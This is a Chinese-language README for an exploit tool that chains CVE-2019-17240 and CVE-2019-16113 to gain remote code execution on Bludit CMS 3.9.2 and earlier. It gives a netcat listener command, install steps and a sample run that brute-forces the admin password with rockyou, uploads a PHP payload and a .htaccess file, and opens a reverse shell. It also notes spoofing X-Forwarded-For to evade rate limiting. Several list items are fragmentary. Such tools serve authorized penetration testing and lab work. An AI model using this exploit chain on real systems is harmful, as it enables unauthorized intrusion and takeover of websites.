_ _____ ___ _
__| |___ /_ ___ __ / _ \ _ __ ___ (_)
/ _` | |_ \ \ / / '_ \| | | | '_ ` _ \| |
| (_| |___) \ V /| | | | |_| | | | | | | |
\__,_|____/ \_/ |_| |_|\___/|_| |_| |_|_|
一个自动化利用工具,结合了 CVE-2019-17240(认证绕过)和 CVE-2019-16113(任意文件上传),可在易受攻击的 Bludit CMS 安装上实现远程代码执行。
仅限授权的安全测试
此工具专为进行授权渗透测试的安全专业人员以及在法律范围内开展研究的安全研究人员设计。未经授权访问计算机系统违反美国《计算机欺诈与滥用法案》(CFAA)以及全球类似法律。
使用此工具即表示您同意:
作者不承担任何责任,并且不对因使用此工具造成的任何误用或损害负责。
此漏洞利用工具自动化完成以下过程:
受影响版本:Bludit CMS 3.9.2 及以下版本
requests# 克隆仓库
git clone https://github.com/yourusername/get-rce.git
cd get-rce
# 安装依赖
pip install -r requirements.txt
requirements.txt:
requests>=2.25.0
python3 get_rce.py
脚本会提示您输入:
https://target.com)运行漏洞利用工具之前,请先设置一个 netcat 监听器:
nc -lvnp 4444
将 4444 替换为您选择的端口。
$ python3 get_rce.py
Enter target URL (i.e. https://target.com): http://10.10.10.191
[ ~ ] Enter listener's IP: 10.10.14.5
[ ~ ] Enter listener's port: 4444
[...] Checking if the target is live...
[ + ] The target is live! We are good to go...
[ ~ ] Should I bruteforce username? [Y/N]: N
[ ~ ] What username should I use? (leave this to use admin as username):
[...] We are gonna default to 'admin' as username.
[ ~ ] Enter the location for password list: /usr/share/wordlists/rockyou.txt
[ * ] Tried: 123456
[ * ] Tried: password
[ * ] Tried: 12345678
...
[ + ] Creds found: admin:Password123
[ + ] Login succeed... We are good to go :)
[ + ] The payload XyZaBcDeFg.php has been uploaded...
[ + ] The payload .htaccess has been uploaded...
[...] Attempting to get a shell... @ http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
[ + ] You should be getting a shell by now, if not open http://10.10.10.191/bl-content/tmp/XyZaBcDeFg.php
Should I bruteforce username? [Y/N]: N
What username should I use?: admin
Enter the location for password list: /path/to/passwords.txt
Should I bruteforce username? [Y/N]: Y
Enter the location for username wordlist: /path/to/usernames.txt
Enter the location for password wordlist: /path/to/passwords.txt
SecLists:https://github.com/danielmiessler/SecLists
SecLists/Usernames/Names/names.txtSecLists/Passwords/Common-Credentials/10-million-password-list-top-1000.txtRockYou:/usr/share/wordlists/rockyou.txt(Kali Linux)
X-Forwarded-For 头部以绕过速率限制/bl-content/tmp/.htaccess 文件以确保执行如果您是系统管理员:
/bl-content/tmp/ 目录以发现可疑文件问题:"目标似乎已关闭"
问题:"登录失败"
问题:"未收到 Shell"
d3vn0mi
本项目仅供教育和授权安全测试目的使用。请参阅本 README 顶部的免责声明。
欢迎贡献、提出问题和功能请求!请随时查看 issues 页面。